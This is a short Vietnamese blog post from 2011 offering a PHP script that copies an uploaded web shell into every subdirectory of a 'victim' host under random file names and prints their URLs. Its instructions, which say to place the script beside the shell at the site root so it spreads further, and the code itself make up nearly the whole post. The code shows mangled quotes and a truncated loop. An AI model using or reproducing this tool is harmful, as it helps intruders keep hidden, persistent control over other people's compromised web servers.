Tuesday, November 8, 2011

Code phát tán shell trong Host victim


Đặt con này cùng thư mục với con shell.
Thay dòng dưới cho phù hợp:

CODE:
$shell = "ten_con_shell.php";


Sau đó gõ địa chỉ lên trình duyệt, nó sẽ copy vào tất cả thư mục con.
Tốt nhất nên để ở thư mục gốc của site để phát tán nhiều hơn.

$shell = “ten_con_shell.php”;
$host = $_SERVER['HTTP_HOST'];
$root_dir = dirname(__FILE__);
echo $root_dir.”
“;
lk(realpath(“./”));
function lk($d)
{
global $host;
global $root_dir;
global $shell;
//echo “=====$d======
“;
if ($handle = opendir($d))
{
$dir_array = array();
while ($file = readdir($handle)) {
if($file!=”.”&&$file!=”..”)
{
$realpath = $d.”/”.$file;
if(is_dir($realpath))
$dir_array[]=$realpath;
}
}
}
for($i=0;$i {
$new_name = rand(0, 1000).”.php”;
$tmp = $dir_array[$i];
echo “http://”.str_replace($root_dir,$host,$tmp).”/”.$new_name.”
“;
copy($shell,$dir_array[$i].”\\”.$new_name);
//echo $dir_array[$i].”
“;
}
for($i=0;$i lk($dir_array[$i]);
closedir($handle);
}
?>

No comments:

Post a Comment